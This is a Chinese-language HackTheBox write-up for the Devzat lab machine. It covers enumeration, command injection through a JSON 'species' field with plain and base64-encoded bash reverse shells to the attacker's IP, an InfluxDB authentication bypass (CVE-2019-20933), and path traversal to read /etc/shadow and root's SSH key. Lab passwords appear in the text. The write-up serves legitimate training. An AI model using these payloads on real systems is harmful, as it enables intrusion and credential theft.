> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Devzat HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**技能：**

* 模糊测试目录
* Web 注入（RCE）
* 利用 InfluxDB（CVE-2019-20933）
* 利用 Devzat Chat 的 /file 命令（权限提升）
  {% endhint %}

## 侦察：

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/f11f519e57a117c881cc79e50501cfc3ad49d7e2" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ad14de57eb2f85e59479060cbf0c25de071625fd" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/e954429f59c7d39eea607678eeb707924b7d4430" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板中（22.80.8000）

<figure><img src="/files/8b6f3ff575bfef52a7ab107c467416049d0484d8" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/087086c8e321dddca55d4a89c77929c5ff45da99" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/aaa1a6d0e79fc876bc876f3c9d83236abf8b5fa4" alt="" width="539"><figcaption></figcaption></figure>

### 80 端口

<figure><img src="/files/ded8eae286bf3b651fc8ce645235ddd93561fb78" alt=""><figcaption></figcaption></figure>

使用 `whatweb`，我们发现了一个与该站点关联的电子邮件： `patrick@devzat.htb`.

<figure><img src="/files/858c246b84630edeaaf0f2b2c1cc363363d031e5" alt=""><figcaption></figcaption></figure>

应用程序还告诉我们可以使用 8000 端口通过 SSH 连接到“chat”：

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/332771803933a68c864c49ac7d2e3e30daa32874" alt=""><figcaption></figcaption></figure>

### 8000 端口：

我们尝试连接，但出现问题，因为需要 SSH 密钥：

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/15a6532af1a5ec6ae92f8f8ed8468d7b8eaadff7" alt=""><figcaption></figcaption></figure>

**临时强制使用 SSH-RSA：** 我们使用以下选项指定本次会话要使用的 SSH 密钥类型：

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/f4046c7ca85913c4721713584b0add5f41e7837b" alt=""><figcaption></figcaption></figure>

### **Projet Devzat（SSH 聊天）：**

{% hint style="info" %}
Devzat 是一个自定义 SSH 服务器，它连接到聊天界面而不是命令提示符。由于 SSH 应用在所有平台（包括手机）上都可用，因此你可以从任何设备连接到 Devzat。
{% endhint %}

以下是此聊天中可执行的命令列表：

<figure><img src="/files/091e02061a6e2f809f1059a5c9f9629bb4d989a6" alt=""><figcaption></figcaption></figure>

### 模糊测试 **目录：**

我们使用 `gobuster` 用于列出站点上的目录：

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

未发现有趣的结果。

<figure><img src="/files/7e2cbc28ddcc6822dd9ec1220eee037331a0dd96" alt=""><figcaption></figcaption></figure>

### **子域名模糊测试**

我们使用以下命令搜索子域名 `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

我们发现了 `pets.devzat.htb` 子域名并将其添加到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/8db118aa6e9b92bc73a9669251522478ede82f21" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0da6752a2f5374fbf0018ea05f924f7db9a7d494" alt=""><figcaption></figcaption></figure>

## **漏洞（RCE）JSON：**

<figure><img src="/files/17516620a9868e9fb6066fd36e35cd270c358b26" alt=""><figcaption></figcaption></figure>

我们可以添加带有物种信息的“pets”，这允许进行 JSON 注入。

<figure><img src="/files/c3bfc9fb7c63c82f265f78a8bd23f44cf5b0f779" alt=""><figcaption></figcaption></figure>

我们使用 Burp Suite 拦截请求，并尝试通过添加 name 和 species 条目来操纵请求：

<figure><img src="/files/71f3aa558d6090457e76ca23b85f423960c12cae" alt=""><figcaption></figcaption></figure>

该条目被解释，从而允许注入。

```json
{
    "名称": "jordan",
    "物种": "jordan"
}
```

<figure><img src="/files/19bc645c30f8530cc843379c125526ab3e4199f3" alt=""><figcaption></figcaption></figure>

我们监听 ICMP 回显以观察通信并测试命令注入：

```bash
sudo tcpdump -i tun0 icmp
```

我们收到了一个 ping 响应，这证实了远程代码执行的可能性。

<figure><img src="/files/7ac0f034c25852f8f9ffc0df345c0624fc7154db" alt=""><figcaption></figcaption></figure>

然后我们发送一个带有 `curl` 到我们的 Python 服务器的请求，并且也收到了一个请求，这证实了远程代码执行漏洞。

```bash
{
    "名称": "jordan",
    "物种": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/30d9ff0c04a8fcd9b103d181c5b598d08fe67e46" alt="" width="502"><figcaption></figcaption></figure>

### 反向 Shell

我们尝试创建一个反向 shell：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

不过，出现了输出错误。

<figure><img src="/files/6cf7c9c2389a595bc8578d2bb8edce8b7a111697" alt=""><figcaption></figcaption></figure>

**错误解决方案（反向 shell）：** 为了解决这个错误，我们创建了一个包含反向 shell 的 HTML 文件，并将其编码为 base64：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

我们将此文件转换为 base64：

```bash
base64 -w 0 index.html
```

<figure><img src="/files/03965f2e523905d76fae4be108bddf5ac773a6e5" alt="" width="563"><figcaption></figcaption></figure>

在请求中，我们执行编码后的 base64 字符串的 echo，并在运行 shell 之前进行解码：

{% code overflow="wrap" %}

```bash
{
    "名称": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

我们再次监听 443 端口并获得了一个反向 shell。

<figure><img src="/files/ae344260e30aa5dc5f82e5b936576a4aad7245c8" alt=""><figcaption></figcaption></figure>

#### **终端处理：**

为了稳定我们的会话，我们使用以下命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升 <a href="#privilege-escalation" id="privilege-escalation"></a>

我们注意到需要提升权限。我们需要切换以获取 `catherine` 用户账户的访问权限。

<figure><img src="/files/4b8d7ab6188734393513c9c24ea9d1b93a4d707d" alt="" width="563"><figcaption></figcaption></figure>

#### 开放端口识别

首先，我们使用以下命令观察内部开放的端口：

```bash
netstat -nltp
```

开放的端口是：

* 8086
* 8443
* 5000

<figure><img src="/files/ead6ca2af0b9447466ba862e8d5bd19caecad9cc" alt=""><figcaption></figcaption></figure>

### 端口转发（SSH）

我们使用用户的私钥并设置正确的权限，将内部端口重定向到我们的攻击机：

```bash
chmod 600 id_rsa
```

<figure><img src="/files/c5cf54718f0f95b23e99042088ba0fa8043faef2" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

然后我们使用 `nmap` 来扫描重定向后的端口：

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### 5000 端口：

<figure><img src="/files/2e35374bb6d224f5fda434db0e3e7d733370c2b1" alt=""><figcaption></figcaption></figure>

我们注意到该端口与 8000 端口上的相同服务相关，因此没有给我们带来额外的利用路径。

<figure><img src="/files/90716be162a70c5df0607cd5554ae46ed4e7c345" alt=""><figcaption></figcaption></figure>

### **8086 端口（InfluxDB）**

8086 端口上的服务是 InfluxDB，版本为 1.7.5。我们识别出 InfluxDB 中的一个 NCE（远程代码执行）漏洞：

<figure><img src="/files/3f3f92c7339bee988657c0bd988ef3379b7d2e16" alt=""><figcaption></figcaption></figure>

**漏洞：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
该漏洞允许你通过使用一个其 `SharedSecret` 为空（即共享密钥）的 JWT 令牌绕过身份验证，从而让我们访问数据库。
{% endhint %}

<figure><img src="/files/65bdf791c20b0d2eba6faafe9999769b15cf3d76" alt=""><figcaption></figcaption></figure>

#### 访问数据库

连接到 InfluxDB 后，我们列出可用数据库：

```sql
SHOW DATABASES;
```

我们选择 `devzat` 数据库并探索用户数据。我们先列出“measure”（表）：

```sql
SHOW MEASUREMENTS;
```

该 **`用户`** 表包含有用信息。为了探索该 measure 的列，我们执行：

```sql
SHOW FIELD KEYS FROM "user";
```

然后我们显示 `用户` 表：

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>密码</strong></td><td><strong>username</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

catherine 用户的密码是 **`woBeeYareedahc7Oogeephies7Aiseci`**，这使我们能够恢复 **flag** 用户。

### user.txt 标志 :)

我们成功获得访问权限并切换为 `catherine`.

<figure><img src="/files/85e0ad6ec25e02edd18be5a97fa734c60470f5c8" alt="" width="563"><figcaption></figcaption></figure>

### 8443 端口（Devzat - 生产环境）

8443 端口专用于 Devzat 的生产实例。我们注意到一个 `文件` 参数会以 root 身份列出系统中的所有文件。然而，访问此功能受密码保护。

<figure><img src="/files/226078cf84f2ca4d2098b6ffd09d3803ec431026" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fffce705bce2f3b241a8ebc817c5624daf019b2" alt=""><figcaption></figcaption></figure>

我们尝试使用 catherine 的密码，但失败了。现在我们需要搜索系统中 catherine 可以读取的文件。

<figure><img src="/files/7e99c4d42fc0fc70f9f5c3c9118291d95dbceb74" alt="" width="538"><figcaption></figcaption></figure>

### 搜索 catherine 可访问的文件

我们使用以下命令搜索所有 catherine 可读文件：

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

我们找到了两个 `.zip` 备份文件：

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

我们下载 `devzat-dev.zip` 备份文件并筛选其中的密码。我们找到了一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/fe5321b286d64ac1da4f91ba5dbd677b7f0d2551" alt=""><figcaption></figcaption></figure>

然后我们尝试使用这个密码访问 `/etc/shadow` 通过 `文件` 参数：

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

虽然密码是正确的，但需要一个 **跨路径** 才能获得完全访问权限。我们使用以下命令浏览文件系统：

<figure><img src="/files/75950cd961da7e9f6d20299bd8205a27e0d89800" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

我们成功以 root 身份显示了 `/etc/shadow` 文件。

<figure><img src="/files/3863513915f080ca5b7ea8172900da2ea56a33f6" alt=""><figcaption></figcaption></figure>

### 以 Root 身份进行 SSH 访问

最后，我们使用额外的跨路径来访问 root 的 SSH 密钥：

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/07855ab7c59828455b0c68f536bc2e4a649e7045" alt="" width="563"><figcaption></figcaption></figure>

我们下载了 SSH 密钥并以 root 身份连接。

<figure><img src="/files/8805e3cf8d4e1cf2153f012aaba6e90b7b24b018" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/1ddb6ec4706178a846dd986bdd1827a9173ad4cf" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/d4050d43cf896a3989c8d1b6e3e916816ec2ff1b" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
